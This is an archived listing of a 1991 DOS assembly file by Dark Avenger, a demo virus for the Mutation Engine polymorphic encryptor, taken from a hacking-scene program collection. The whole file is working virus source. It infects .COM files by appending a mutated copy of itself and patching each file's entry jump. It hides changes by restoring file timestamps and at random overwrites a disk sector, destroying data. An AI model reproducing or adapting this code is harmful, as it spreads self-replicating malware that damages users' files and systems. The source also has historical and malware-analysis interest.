home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / DEMOVIR.ASM < prev    next >
Assembly Source File  |  1991-10-26  |  3KB  |  195 lines

  1.  
  2. ; This is a demo virus to demonstrate
  3. ;   the Mutation Engine <tm> usage
  4.  
  5. ; Version 1.01 (26-10-91)
  6. ; (C) 1991 Dark Avenger.
  7.  
  8.     .model    tiny
  9.     .radix    16
  10.     .code
  11.  
  12.     extrn    mut_engine: near, rnd_get: near, rnd_init: near
  13.     extrn    rnd_buf: word, data_top: near
  14.  
  15.     org    100
  16.  
  17. start:
  18.     call    locadr
  19. reladr:
  20.     db    'We dedicate this little virus to Sara Gordon'
  21.     db    ' who wanted to have a virus named after her.'
  22. locadr:
  23.     pop    dx
  24.     mov    cl,4
  25.     shr    dx,cl
  26.     sub    dx,10
  27.     mov    cx,ds
  28.     add    cx,dx            ;Calculate new CS
  29.     mov    dx,offset begin
  30.     push    cx dx
  31.     retf
  32. begin:
  33.     cld
  34.     mov    di,offset start
  35.     push    es di
  36.     push    cs
  37.     pop    ds
  38.     mov    si,offset old_cod
  39.     movsb                ;Restore first 3 bytes
  40.     movsw
  41.     push    ax
  42.     mov    dx,offset dta_buf    ;Set DTA
  43.     mov    ah,1a
  44.     int    21
  45.     mov    ax,3524         ;Hook INT 24
  46.     int    21
  47.     push    es bx
  48.     mov    dx,offset fail_err
  49.     mov    ax,2524
  50.     int    21
  51.     xor    ax,ax            ;Initialize random seed
  52.     mov    [rnd_buf],ax
  53.     call    rnd_init
  54.     push    sp
  55.     pop    cx
  56.     sub    cx,sp
  57.     add    cx,4
  58.     push    cx
  59.     mov    dx,offset srchnam
  60.     mov    cl,3
  61.     mov    ah,4e
  62. find_lup:
  63.     int    21            ;Find the next COM file
  64.     jc    infect_done
  65.     cmp    [dta_buf+1a],ch
  66.     jnz    infect            ;If not infected, infect it now
  67.     pop    cx
  68. find_nxt:
  69.     push    cx
  70.     mov    dx,offset dta_buf
  71.     mov    ah,4f
  72.     jmp    find_lup
  73. infect_done:
  74.     pop    cx
  75.     loop    find_nxt
  76.     jnc    damage_done
  77.     call    rnd_get
  78.     test    al,1
  79.     jz    damage_done
  80.     xchg    ax,dx            ;Trash a random sector on the default
  81.     mov    ah,19            ;  drive
  82.     int    21
  83.     mov    cx,1
  84.     mov    bx,offset start
  85.     int    26
  86.     popf
  87. damage_done:
  88.     pop    dx ds
  89.     mov    ax,2524         ;Restore INT 24
  90.     int    21
  91.     push    ss
  92.     pop    ds
  93.     mov    dx,80            ;Restore DTA
  94.     mov    ah,1a
  95.     int    21
  96.     push    ds            ;Exit to program
  97.     pop    es
  98.     pop    ax
  99.     retf
  100. infect:
  101.     xor    cx,cx            ;Reset read-only attribute
  102.     mov    dx,offset dta_buf+1e
  103.     mov    ax,4301
  104.     int    21
  105.     jc    infect_done
  106.     mov    ax,3d02         ;Open the file
  107.     int    21
  108.     jc    infect_done
  109.     xchg    ax,bx
  110.     mov    dx,offset old_cod    ;Read first 3 bytes
  111.     mov    cx,3
  112.     mov    ah,3f
  113.     int    21
  114.     jc    read_done
  115.     mov    ax,word ptr [old_cod]    ;Make sure it's not an EXE file
  116.     cmp    ax,'ZM'
  117.     jz    read_done
  118.     cmp    ax,'MZ'
  119.     jz    read_done
  120.     xor    cx,cx            ;Seek at EOF
  121.     xor    dx,dx
  122.     mov    ax,4202
  123.     int    21
  124.     test    dx,dx            ;Make sure the file is not too big
  125.     jnz    read_done
  126.     cmp    ax,-2000
  127.     jnc    read_done
  128.     mov    bp,ax
  129.     sub    ax,3
  130.     mov    word ptr [new_cod+1],ax
  131.     mov    ax,5700         ;Save file's date/time
  132.     int    21
  133.     push    dx cx
  134.     mov    ax,offset data_top+0f
  135.     mov    cl,4            ;Now call the Engine
  136.     shr    ax,cl
  137.     mov    cx,cs
  138.     add    ax,cx
  139.     mov    es,ax
  140.     mov    dx,offset start
  141.     mov    cx,offset _DATA
  142.     push    bp bx
  143.     add    bp,dx
  144.     xor    si,si
  145.     xor    di,di
  146.     mov    bl,0f
  147.     mov    ax,101
  148.     call    mut_engine
  149.     pop    bx ax
  150.     add    ax,cx            ;Make sure file length mod 256 = 0
  151.     neg    ax
  152.     xor    ah,ah
  153.     add    cx,ax
  154.     mov    ah,40            ;Put the virus into the file
  155.     int    21
  156.     push    cs
  157.     pop    ds
  158.     jc    write_done
  159.     sub    cx,ax
  160.     jnz    write_done
  161.     xor    dx,dx            ;Put the JMP instruction
  162.     mov    ax,4200
  163.     int    21
  164.     mov    dx,offset new_cod
  165.     mov    cx,3
  166.     mov    ah,40
  167.     int    21
  168. write_done:
  169.     pop    cx dx            ;Restore file's date/time
  170.     mov    ax,5701
  171.     int    21
  172. read_done:
  173.     mov    ah,3e            ;Close the file
  174.     int    21
  175.     jmp    infect_done
  176.  
  177. fail_err:                ;Critical errors handler
  178.     mov    al,3
  179.     iret
  180.  
  181. srchnam db    '*.COM',0
  182.  
  183. old_cod:                ;Buffer to read first 3 bytes
  184.     ret
  185.     dw    ?
  186.  
  187. new_cod:                ;Buffer to write first 3 bytes
  188.     jmp    $+100
  189.  
  190.     .data
  191.  
  192. dta_buf db    2bh dup(?)        ;Buffer for DTA
  193.  
  194.     end    start
  195.